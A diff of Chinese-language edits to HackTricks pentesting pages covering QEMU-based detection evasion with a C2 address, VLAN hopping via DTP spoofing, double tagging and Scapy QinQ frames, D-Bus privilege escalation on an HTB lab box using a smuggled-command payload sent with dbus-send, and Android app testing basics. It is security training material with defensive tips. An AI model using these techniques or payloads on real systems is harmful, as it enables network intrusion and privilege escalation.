@ -625,8 +625,8 @@ qemu-system-x86_64.exe ^
|
|||||||
-nographic
|
-nographic
|
||||||
```
|
```
|
||||||
• 上面的命令在 RAM 中启动一个 **Tiny Core Linux** 镜像 (`tc.qcow2`)。
|
• 上面的命令在 RAM 中启动一个 **Tiny Core Linux** 镜像 (`tc.qcow2`)。
|
||||||
• Windows 主机上的端口 **2222/tcp** 被透明地转发到来宾内部的 **22/tcp**。
|
• Windows 主机上的端口 **2222/tcp** 透明地转发到来宾内部的 **22/tcp**。
|
||||||
• 从攻击者的角度来看,目标仅仅暴露了端口 2222;到达该端口的任何数据包都由在虚拟机中运行的 SSH 服务器处理。
|
• 从攻击者的角度来看,目标仅仅暴露了端口 2222;任何到达该端口的数据包都由在虚拟机中运行的 SSH 服务器处理。
|
||||||
|
|
||||||
### 通过 VBScript 隐秘启动
|
### 通过 VBScript 隐秘启动
|
||||||
```vb
|
```vb
|
||||||
@ -653,8 +653,8 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
|||||||
### 为什么这能逃避检测
|
### 为什么这能逃避检测
|
||||||
|
|
||||||
• 只有两个未签名的可执行文件 (`qemu-system-*.exe`) 访问磁盘;没有安装驱动程序或服务。
|
• 只有两个未签名的可执行文件 (`qemu-system-*.exe`) 访问磁盘;没有安装驱动程序或服务。
|
||||||
• 主机上的安全产品看到的是 **良性的回环流量**(实际的 C2 在 VM 内部终止)。
|
• 主机上的安全产品看到的是 **良性的回环流量**(实际的 C2 在虚拟机内部终止)。
|
||||||
• 内存扫描器从未分析恶意进程空间,因为它存在于不同的操作系统中。
|
• 内存扫描器从不分析恶意进程空间,因为它存在于不同的操作系统中。
|
||||||
|
|
||||||
### Defender 提示
|
### Defender 提示
|
||||||
|
|
||||||
|
@ -2,15 +2,15 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
如果可以直接访问交换机,则可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式,为目标VLAN建立虚拟接口,并根据场景设置IP地址(动态(DHCP)或静态)(**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。**
|
如果可以直接访问交换机,则可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式,为目标VLAN建立虚拟接口,并设置IP地址,具体取决于场景,可以是动态(DHCP)或静态的(**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。**
|
||||||
|
|
||||||
最初,需要识别特定的连接端口。这通常可以通过CDP消息完成,或通过**include**掩码搜索端口。
|
最初,需要识别特定的连接端口。这通常可以通过CDP消息完成,或通过**include**掩码搜索端口。
|
||||||
|
|
||||||
**如果CDP未运行,可以尝试通过搜索MAC地址进行端口识别**:
|
**如果CDP无法操作,可以尝试通过搜索MAC地址进行端口识别**:
|
||||||
```
|
```
|
||||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||||
```
|
```
|
||||||
在切换到干线模式之前,应编制现有VLAN的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过干线访问各种VLAN。例如,正在使用的端口与VLAN 10相关联。
|
在切换到 trunk 模式之前,应编制现有 VLAN 的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过 trunk 访问各种 VLAN。例如,正在使用的端口与 VLAN 10 相关联。
|
||||||
```
|
```
|
||||||
SW1# show vlan brief
|
SW1# show vlan brief
|
||||||
```
|
```
|
||||||
@ -20,9 +20,9 @@ SW1(config)# interface GigabitEthernet 0/2
|
|||||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||||
SW1(config-if)# switchport mode trunk
|
SW1(config-if)# switchport mode trunk
|
||||||
```
|
```
|
||||||
切换到干道模式会暂时中断连接,但随后可以恢复。
|
切换到 trunk 模式会暂时中断连接,但随后可以恢复。
|
||||||
|
|
||||||
然后创建虚拟接口,分配VLAN ID,并激活:
|
然后创建虚拟接口,分配 VLAN ID,并激活:
|
||||||
```bash
|
```bash
|
||||||
sudo vconfig add eth0 10
|
sudo vconfig add eth0 10
|
||||||
sudo vconfig add eth0 20
|
sudo vconfig add eth0 20
|
||||||
@ -52,11 +52,11 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
|||||||
|
|
||||||
## 其他VLAN跳跃技术(无特权交换机CLI)
|
## 其他VLAN跳跃技术(无特权交换机CLI)
|
||||||
|
|
||||||
前面的方法假设已获得交换机的认证控制台或Telnet/SSH访问。在实际操作中,攻击者通常连接到一个**常规接入端口**。以下的第2层技巧通常允许您在不登录交换机操作系统的情况下横向移动:
|
前一种方法假设已获得交换机的认证控制台或Telnet/SSH访问。在实际操作中,攻击者通常连接到一个**常规接入端口**。以下的第2层技巧通常允许您在不登录交换机操作系统的情况下横向移动:
|
||||||
|
|
||||||
### 1. 使用动态干道协议(DTP)进行交换机欺骗
|
### 1. 使用动态干道协议(DTP)进行交换机欺骗
|
||||||
|
|
||||||
启用DTP的Cisco交换机会乐于协商干道,如果对端声称是交换机。构造一个**DTP “desirable”**或**“trunk”**帧将接入端口转换为一个802.1Q干道,承载*所有*允许的VLAN。
|
保持DTP启用的Cisco交换机会乐于协商干道,如果对端声称是交换机。制作一个**DTP “desirable”**或**“trunk”**帧将接入端口转换为一个802.1Q干道,承载*所有*允许的VLAN。
|
||||||
|
|
||||||
*Yersinia*和几个PoC自动化了这个过程:
|
*Yersinia*和几个PoC自动化了这个过程:
|
||||||
```bash
|
```bash
|
||||||
@ -67,16 +67,16 @@ $ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling
|
|||||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||||
```
|
```
|
||||||
一旦端口切换到 trunk,您可以创建 802.1Q 子接口,并按照上一节所示进行 pivot。现代 Linux 内核不再需要 *vconfig*;而是使用 *ip link*:
|
一旦端口切换到干道模式,您可以创建802.1Q子接口,并按照上一节所示进行转移。现代Linux内核不再需要*vconfig*;而是使用*ip link*:
|
||||||
```bash
|
```bash
|
||||||
sudo modprobe 8021q
|
sudo modprobe 8021q
|
||||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||||
sudo ip link set eth0.30 up
|
sudo ip link set eth0.30 up
|
||||||
```
|
```
|
||||||
### 2. 双标记(原生VLAN滥用)
|
### 2. 双标记(原生 VLAN 滥用)
|
||||||
|
|
||||||
如果攻击者位于**原生(未标记)VLAN**,则带有*两个*802.1Q头的构造帧可以“跳跃”到第二个VLAN,即使端口被锁定在接入模式。工具如**VLANPWN DoubleTagging.py**(2022-2024更新)自动化了注入:
|
如果攻击者位于 **原生(未标记)VLAN**,则带有 *两个* 802.1Q 头的构造帧可以在端口被锁定为接入模式时“跳跃”到第二个 VLAN。 工具如 **VLANPWN DoubleTagging.py** (2022-2024 更新) 自动化了注入:
|
||||||
```bash
|
```bash
|
||||||
python3 DoubleTagging.py \
|
python3 DoubleTagging.py \
|
||||||
--interface eth0 \
|
--interface eth0 \
|
||||||
@ -89,11 +89,11 @@ python3 DoubleTagging.py \
|
|||||||
1. 外部标签 (1) 被第一个交换机剥离,因为它与本地 VLAN 匹配。
|
1. 外部标签 (1) 被第一个交换机剥离,因为它与本地 VLAN 匹配。
|
||||||
2. 内部标签 (20) 现在暴露;帧被转发到 VLAN 20 的干线。
|
2. 内部标签 (20) 现在暴露;帧被转发到 VLAN 20 的干线。
|
||||||
|
|
||||||
该技术在 2025 年仍然适用于将本地 VLAN 保持为默认并接受未标记帧的网络。
|
该技术在 2025 年仍然有效,适用于将本地 VLAN 保持为默认并接受未标记帧的网络。
|
||||||
|
|
||||||
### 3. QinQ (802.1ad) 堆叠
|
### 3. QinQ (802.1ad) 堆叠
|
||||||
|
|
||||||
许多企业核心支持 *Q-in-Q* 服务提供商封装。在允许的情况下,攻击者可以在提供商 (S-tag) 内隧道任意 802.1Q 标记的流量,以跨越安全区域。捕获 802.1ad 以太网类型 0x88a8,并尝试使用 Scapy 弹出外部标签:
|
许多企业核心支持 *Q-in-Q* 服务提供商封装。在允许的情况下,攻击者可以在提供商 (S-tag) 内隧道任意 802.1Q 标记的流量,以跨越安全区域。捕获 802.1ad 以太类型 0x88a8,并尝试使用 Scapy 弹出外部标签:
|
||||||
```python
|
```python
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
outer = 100 # Service tag
|
outer = 100 # Service tag
|
||||||
@ -109,7 +109,7 @@ sendp(frame, iface="eth0")
|
|||||||
1. 在所有面向用户的端口上禁用 DTP: `switchport mode access` + `switchport nonegotiate`。
|
1. 在所有面向用户的端口上禁用 DTP: `switchport mode access` + `switchport nonegotiate`。
|
||||||
2. 将每个干线的本地 VLAN 更改为 **未使用的黑洞 VLAN** 并标记: `vlan dot1q tag native`。
|
2. 将每个干线的本地 VLAN 更改为 **未使用的黑洞 VLAN** 并标记: `vlan dot1q tag native`。
|
||||||
3. 在干线上修剪不必要的 VLAN: `switchport trunk allowed vlan 10,20`。
|
3. 在干线上修剪不必要的 VLAN: `switchport trunk allowed vlan 10,20`。
|
||||||
4. 强制实施端口安全、DHCP 嗅探和动态 ARP 检查,以限制恶意的二层活动。
|
4. 强制实施端口安全、DHCP 嗅探和动态 ARP 检查,以限制恶意的第二层活动。
|
||||||
5. 优先使用私有 VLAN 或 L3 分段,而不是仅依赖 802.1Q 分离。
|
5. 优先使用私有 VLAN 或 L3 分段,而不是仅依赖 802.1Q 分离。
|
||||||
|
|
||||||
---
|
---
|
||||||
|
@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
## **GUI enumeration**
|
## **GUI enumeration**
|
||||||
|
|
||||||
D-Bus 被用作 Ubuntu 桌面环境中的进程间通信 (IPC) 中介。在 Ubuntu 中,观察到多个消息总线的并发操作:系统总线,主要由 **特权服务用于暴露与系统相关的服务**,以及每个登录用户的会话总线,仅暴露与该特定用户相关的服务。这里的重点主要是系统总线,因为它与以更高特权(例如,root)运行的服务相关,我们的目标是提升特权。值得注意的是,D-Bus 的架构为每个会话总线采用了一个“路由器”,负责根据客户端为其希望与之通信的服务指定的地址,将客户端消息重定向到适当的服务。
|
D-Bus 被用作 Ubuntu 桌面环境中的进程间通信 (IPC) 中介。在 Ubuntu 中,观察到多个消息总线的并发操作:系统总线,主要用于 **特权服务以暴露与系统相关的服务**,以及每个登录用户的会话总线,仅暴露与该特定用户相关的服务。这里的重点主要是系统总线,因为它与以更高特权(例如,root)运行的服务相关,我们的目标是提升特权。值得注意的是,D-Bus 的架构为每个会话总线采用了一个“路由器”,负责根据客户端为其希望与之通信的服务指定的地址,将客户端消息重定向到适当的服务。
|
||||||
|
|
||||||
D-Bus 上的服务由它们暴露的 **对象** 和 **接口** 定义。对象可以类比于标准 OOP 语言中的类实例,每个实例通过 **对象路径** 唯一标识。该路径类似于文件系统路径,唯一标识服务暴露的每个对象。一个关键的研究接口是 **org.freedesktop.DBus.Introspectable** 接口,具有一个方法 Introspect。该方法返回对象支持的方法、信号和属性的 XML 表示,这里重点关注方法,省略属性和信号。
|
D-Bus 上的服务由它们暴露的 **对象** 和 **接口** 定义。对象可以类比于标准 OOP 语言中的类实例,每个实例通过 **对象路径** 唯一标识。该路径类似于文件系统路径,唯一标识服务暴露的每个对象。一个关键的研究接口是 **org.freedesktop.DBus.Introspectable** 接口,具有一个方法 Introspect。该方法返回对象支持的方法、信号和属性的 XML 表示,这里重点关注方法,同时省略属性和信号。
|
||||||
|
|
||||||
为了与 D-Bus 接口进行通信,使用了两个工具:一个名为 **gdbus** 的 CLI 工具,用于在脚本中轻松调用 D-Bus 暴露的方法,以及 [**D-Feet**](https://wiki.gnome.org/Apps/DFeet),一个基于 Python 的 GUI 工具,旨在枚举每个总线上可用的服务并显示每个服务中包含的对象。
|
为了与 D-Bus 接口进行通信,使用了两个工具:一个名为 **gdbus** 的 CLI 工具,用于在脚本中轻松调用 D-Bus 暴露的方法,以及 [**D-Feet**](https://wiki.gnome.org/Apps/DFeet),一个基于 Python 的 GUI 工具,旨在枚举每个总线上可用的服务并显示每个服务中包含的对象。
|
||||||
```bash
|
```bash
|
||||||
@ -16,7 +16,7 @@ sudo apt-get install d-feet
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
在第一张图片中,显示了与 D-Bus 系统总线注册的服务,特别是在选择系统总线按钮后突出显示了 **org.debin.apt**。D-Feet 查询此服务以获取对象,显示所选对象的接口、方法、属性和信号,如第二张图片所示。每个方法的签名也有详细说明。
|
在第一张图片中,显示了注册到 D-Bus 系统总线的服务,特别是在选择系统总线按钮后突出显示了 **org.debin.apt**。D-Feet 查询此服务以获取对象,显示所选对象的接口、方法、属性和信号,如第二张图片所示。每个方法的签名也有详细说明。
|
||||||
|
|
||||||
一个显著的特点是显示服务的 **进程 ID (pid)** 和 **命令行**,这对于确认服务是否以提升的权限运行非常有用,这对研究的相关性很重要。
|
一个显著的特点是显示服务的 **进程 ID (pid)** 和 **命令行**,这对于确认服务是否以提升的权限运行非常有用,这对研究的相关性很重要。
|
||||||
|
|
||||||
@ -24,7 +24,7 @@ sudo apt-get install d-feet
|
|||||||
|
|
||||||
但是,请注意 **某些方法需要身份验证**,才能允许我们调用它们。我们将忽略这些方法,因为我们的目标是首先在没有凭据的情况下提升我们的权限。
|
但是,请注意 **某些方法需要身份验证**,才能允许我们调用它们。我们将忽略这些方法,因为我们的目标是首先在没有凭据的情况下提升我们的权限。
|
||||||
|
|
||||||
还要注意,某些服务会查询另一个名为 org.freedeskto.PolicyKit1 的 D-Bus 服务,以确定用户是否被允许执行某些操作。
|
还要注意,某些服务会查询另一个名为 org.freedeskto.PolicyKit1 的 D-Bus 服务,以确定用户是否应该被允许执行某些操作。
|
||||||
|
|
||||||
## **命令行枚举**
|
## **命令行枚举**
|
||||||
|
|
||||||
@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act
|
|||||||
```
|
```
|
||||||
#### 连接
|
#### 连接
|
||||||
|
|
||||||
[来自维基百科:](https://en.wikipedia.org/wiki/D-Bus) 当一个进程建立与总线的连接时,总线会为该连接分配一个称为 _唯一连接名称_ 的特殊总线名称。这种类型的总线名称是不可变的——只要连接存在,就保证它们不会改变——更重要的是,它们在总线的生命周期内不能被重用。这意味着对该总线的其他连接将永远不会分配这样的唯一连接名称,即使同一进程关闭与总线的连接并创建一个新的连接。唯一连接名称很容易识别,因为它们以——否则被禁止的——冒号字符开头。
|
[来自维基百科:](https://en.wikipedia.org/wiki/D-Bus) 当一个进程建立与总线的连接时,总线会为该连接分配一个称为 _唯一连接名称_ 的特殊总线名称。这种类型的总线名称是不可变的——只要连接存在,就保证它们不会改变——更重要的是,它们在总线的生命周期内不能被重用。这意味着,即使同一个进程关闭与总线的连接并创建一个新的连接,也不会有其他连接被分配这样的唯一连接名称。唯一连接名称很容易识别,因为它们以——否则被禁止的——冒号字符开头。
|
||||||
|
|
||||||
### 服务对象信息
|
### 服务对象信息
|
||||||
|
|
||||||
@ -120,7 +120,7 @@ cap_mknod cap_lease cap_audit_write cap_audit_control
|
|||||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||||
```
|
```
|
||||||
### List Interfaces of a Service Object
|
### 列出服务对象的接口
|
||||||
|
|
||||||
您需要拥有足够的权限。
|
您需要拥有足够的权限。
|
||||||
```bash
|
```bash
|
||||||
@ -132,7 +132,7 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
|||||||
```
|
```
|
||||||
### Introspect Interface of a Service Object
|
### Introspect Interface of a Service Object
|
||||||
|
|
||||||
注意在这个例子中,选择了使用 `tree` 参数发现的最新接口(_见前一节_):
|
注意在这个例子中,选择了使用 `tree` 参数发现的最新接口(_见前一部分_):
|
||||||
```bash
|
```bash
|
||||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||||
|
|
||||||
@ -154,9 +154,9 @@ org.freedesktop.DBus.Properties interface - - -
|
|||||||
|
|
||||||
### 监控/捕获接口
|
### 监控/捕获接口
|
||||||
|
|
||||||
拥有足够的权限(仅有 `send_destination` 和 `receive_sender` 权限是不够的),你可以 **监控 D-Bus 通信**。
|
拥有足够的权限(仅有 `send_destination` 和 `receive_sender` 权限是不够的)你可以 **监控 D-Bus 通信**。
|
||||||
|
|
||||||
为了 **监控** 一次 **通信**,你需要是 **root**。如果你在成为 root 时仍然遇到问题,请查看 [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) 和 [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
为了 **监控** 一次 **通信** 你需要是 **root**。如果你在成为 root 时仍然遇到问题,请查看 [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) 和 [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> 如果你知道如何配置 D-Bus 配置文件以 **允许非 root 用户嗅探** 通信,请 **联系我**!
|
> 如果你知道如何配置 D-Bus 配置文件以 **允许非 root 用户嗅探** 通信,请 **联系我**!
|
||||||
@ -186,7 +186,7 @@ MESSAGE "s" {
|
|||||||
STRING "Carried out :D";
|
STRING "Carried out :D";
|
||||||
};
|
};
|
||||||
```
|
```
|
||||||
您可以使用 `capture` 替代 `monitor` 将结果保存到 pcap 文件中。
|
您可以使用 `capture` 代替 `monitor` 将结果保存到 pcap 文件中。
|
||||||
|
|
||||||
#### 过滤所有噪音 <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
#### 过滤所有噪音 <a href="#filtering_all_the_noise" id="filtering_all_the_noise"></a>
|
||||||
|
|
||||||
@ -194,7 +194,7 @@ STRING "Carried out :D";
|
|||||||
```bash
|
```bash
|
||||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||||
```
|
```
|
||||||
可以指定多个规则。如果消息匹配_任何_规则,该消息将被打印。像这样:
|
可以指定多个规则。如果消息匹配_任何_规则,消息将被打印。像这样:
|
||||||
```bash
|
```bash
|
||||||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||||
```
|
```
|
||||||
@ -206,11 +206,11 @@ dbus-monitor "type=method_call" "type=method_return" "type=error"
|
|||||||
|
|
||||||
### 更多
|
### 更多
|
||||||
|
|
||||||
`busctl`还有更多选项,[**在这里找到所有选项**](https://www.freedesktop.org/software/systemd/man/busctl.html)。
|
`busctl` 还有更多选项,[**在这里找到所有选项**](https://www.freedesktop.org/software/systemd/man/busctl.html)。
|
||||||
|
|
||||||
## **易受攻击的场景**
|
## **易受攻击的场景**
|
||||||
|
|
||||||
作为用户**qtc 在主机 "oouch" 从 HTB**,您可以找到一个位于_/etc/dbus-1/system.d/htb.oouch.Block.conf_的**意外 D-Bus 配置文件**:
|
作为用户 **qtc 在 HTB 的主机 "oouch" 内**,您可以找到一个位于 _/etc/dbus-1/system.d/htb.oouch.Block.conf_ 的 **意外 D-Bus 配置文件**:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||||||
|
|
||||||
@ -262,13 +262,13 @@ r = sd_bus_add_object_vtable(bus,
|
|||||||
block_vtable,
|
block_vtable,
|
||||||
NULL);
|
NULL);
|
||||||
```
|
```
|
||||||
此外,在第57行中,您可以发现**为此D-Bus通信注册的唯一方法**称为`Block`(_**这就是为什么在接下来的部分中,负载将被发送到服务对象`htb.oouch.Block`、接口`/htb/oouch/Block`和方法名`Block`**_):
|
此外,在第57行中,您可以发现**为此D-Bus通信注册的唯一方法**称为`Block`(_**这就是为什么在接下来的部分中,负载将发送到服务对象`htb.oouch.Block`、接口`/htb/oouch/Block`和方法名`Block`**_):
|
||||||
```c
|
```c
|
||||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||||
```
|
```
|
||||||
#### Python
|
#### Python
|
||||||
|
|
||||||
以下 Python 代码将通过 `block_iface.Block(runme)` 将有效负载发送到 D-Bus 连接的 `Block` 方法(_请注意,它是从前面的代码块中提取的_):
|
以下Python代码将通过`block_iface.Block(runme)`将有效负载发送到D-Bus连接的`Block`方法(_请注意,它是从前面的代码块中提取的_):
|
||||||
```python
|
```python
|
||||||
import dbus
|
import dbus
|
||||||
bus = dbus.SystemBus()
|
bus = dbus.SystemBus()
|
||||||
@ -282,12 +282,12 @@ bus.close()
|
|||||||
```bash
|
```bash
|
||||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||||
```
|
```
|
||||||
- `dbus-send` 是一个用于向“消息总线”发送消息的工具
|
- `dbus-send` 是一个用于向“消息总线”发送消息的工具。
|
||||||
- 消息总线 – 一种软件,系统通过它使应用程序之间的通信变得简单。它与消息队列相关(消息按顺序排列),但在消息总线中,消息以订阅模型发送,并且速度非常快。
|
- 消息总线 – 一种软件,系统通过它使应用程序之间的通信变得简单。它与消息队列相关(消息按顺序排列),但在消息总线中,消息以订阅模型发送,并且速度非常快。
|
||||||
- “-system” 标签用于表示这是一个系统消息,而不是会话消息(默认情况下)。
|
- “-system” 标签用于表示这是一个系统消息,而不是会话消息(默认情况下)。
|
||||||
- “–print-reply” 标签用于适当地打印我们的消息,并以人类可读的格式接收任何回复。
|
- “–print-reply” 标签用于适当地打印我们的消息,并以人类可读的格式接收任何回复。
|
||||||
- “–dest=Dbus-Interface-Block” Dbus 接口的地址。
|
- “–dest=Dbus-Interface-Block” Dbus 接口的地址。
|
||||||
- “–string:” – 我们希望发送到接口的消息类型。发送消息有几种格式,如双精度、字节、布尔值、整数、对象路径。在这些中,“对象路径”在我们想要将文件路径发送到 Dbus 接口时非常有用。在这种情况下,我们可以使用一个特殊文件(FIFO)来以文件名的形式将命令传递给接口。“string:;” – 这是为了再次调用对象路径,我们放置 FIFO 反向 shell 文件/命令。
|
- “–string:” – 我们希望发送到接口的消息类型。有几种发送消息的格式,如双精度、字节、布尔值、整数、对象路径。在这些中,“对象路径”在我们想要将文件路径发送到 Dbus 接口时非常有用。在这种情况下,我们可以使用一个特殊文件(FIFO)来以文件名的形式将命令传递给接口。“string:;” – 这是为了再次调用对象路径,我们放置 FIFO 反向 shell 文件/命令。
|
||||||
|
|
||||||
_请注意,在 `htb.oouch.Block.Block` 中,第一部分(`htb.oouch.Block`)引用服务对象,最后一部分(`.Block`)引用方法名称。_
|
_请注意,在 `htb.oouch.Block.Block` 中,第一部分(`htb.oouch.Block`)引用服务对象,最后一部分(`.Block`)引用方法名称。_
|
||||||
|
|
||||||
@ -447,14 +447,14 @@ sudo dbus-map --dump-methods
|
|||||||
# 主动探测可以在没有 Polkit 提示的情况下访问的方法/属性
|
# 主动探测可以在没有 Polkit 提示的情况下访问的方法/属性
|
||||||
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||||
```
|
```
|
||||||
* 该工具用 `!` 标记未受保护的知名名称,立即揭示您可以 *拥有*(接管)的服务或可以从非特权 shell 访问的方法调用。
|
* 该工具用 `!` 标记未受保护的知名名称,立即揭示您可以 *拥有*(接管)或从非特权 shell 可达的方法调用的服务。
|
||||||
|
|
||||||
### uptux.py
|
### uptux.py
|
||||||
* 作者: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
* 作者: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||||
* 仅用 Python 编写的脚本,查找 systemd 单元中的 *可写* 路径 **和** 过于宽松的 D-Bus 策略文件(例如 `send_destination="*"`)。
|
* 仅用 Python 编写的脚本,查找 systemd 单元中的 *可写* 路径 **和** 过于宽松的 D-Bus 策略文件(例如 `send_destination="*"`)。
|
||||||
* 快速使用:
|
* 快速使用:
|
||||||
```bash
|
```bash
|
||||||
python3 uptux.py -n # 运行所有检查但不写日志文件
|
python3 uptux.py -n # 运行所有检查但不写入日志文件
|
||||||
python3 uptux.py -d # 启用详细调试输出
|
python3 uptux.py -d # 启用详细调试输出
|
||||||
```
|
```
|
||||||
* D-Bus 模块搜索以下目录,并突出显示任何可以被普通用户伪造或劫持的服务:
|
* D-Bus 模块搜索以下目录,并突出显示任何可以被普通用户伪造或劫持的服务:
|
||||||
@ -488,7 +488,7 @@ python3 uptux.py -d # 启用详细调试输出
|
|||||||
```bash
|
```bash
|
||||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||||
```
|
```
|
||||||
* 对危险方法要求 Polkit – 即使是 *root* 代理也应将 *调用者* PID 传递给 `polkit_authority_check_authorization_sync()` 而不是他们自己的。
|
* 对危险方法要求 Polkit – 即使 *root* 代理也应将 *调用者* PID 传递给 `polkit_authority_check_authorization_sync()` 而不是他们自己的。
|
||||||
* 在长时间运行的助手中降低权限(在连接到总线后使用 `sd_pid_get_owner_uid()` 切换命名空间)。
|
* 在长时间运行的助手中降低权限(在连接到总线后使用 `sd_pid_get_owner_uid()` 切换命名空间)。
|
||||||
* 如果无法删除服务,至少将其 *范围* 限定为专用 Unix 组,并在其 XML 策略中限制访问。
|
* 如果无法删除服务,至少将其 *范围* 限定为专用 Unix 组,并在其 XML 策略中限制访问。
|
||||||
* 蓝队:使用 `busctl capture --output=/var/log/dbus_$(date +%F).pcap` 启用系统总线的持久捕获,并导入 Wireshark 进行异常检测。
|
* 蓝队:使用 `busctl capture --output=/var/log/dbus_$(date +%F).pcap` 启用系统总线的持久捕获,并导入 Wireshark 进行异常检测。
|
||||||
|
@ -1,34 +1,34 @@
|
|||||||
# Android Applications Pentesting
|
# Android 应用程序渗透测试
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Android Applications Basics
|
## Android 应用程序基础
|
||||||
|
|
||||||
强烈建议您开始阅读此页面,以了解与Android安全性和Android应用程序中最危险组件相关的**最重要部分**:
|
强烈建议您开始阅读此页面,以了解与 Android 安全性相关的 **最重要部分和 Android 应用程序中最危险的组件**:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
android-applications-basics.md
|
android-applications-basics.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## ADB (Android Debug Bridge)
|
## ADB (Android 调试桥)
|
||||||
|
|
||||||
这是您连接到Android设备(模拟或物理)的主要工具。\
|
这是您连接到 Android 设备(模拟或物理)的主要工具。\
|
||||||
**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使得可以**双向复制**文件,**安装**和**卸载**应用程序,**执行**shell命令,**备份**数据,**读取**日志等功能。
|
**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使 **双向复制** 文件、**安装** 和 **卸载** 应用程序、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。
|
||||||
|
|
||||||
查看以下[**ADB命令**](adb-commands.md)列表,以了解如何使用adb。
|
查看以下 [**ADB 命令**](adb-commands.md) 列表,以了解如何使用 adb。
|
||||||
|
|
||||||
## Smali
|
## Smali
|
||||||
|
|
||||||
有时修改**应用程序代码**以访问**隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译apk,修改代码并重新编译可能会很有趣。\
|
有时修改 **应用程序代码** 以访问 **隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译 apk、修改代码并重新编译可能会很有趣。\
|
||||||
[**在本教程中**,您可以**学习如何反编译APK,修改Smali代码并使用新功能重新编译APK**](smali-changes.md)。这在**动态分析期间的几项测试中可能非常有用**。因此,**始终记住这种可能性**。
|
[**在本教程中**,您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析期间的几项测试中可能非常有用**。因此,**始终记住这个可能性**。
|
||||||
|
|
||||||
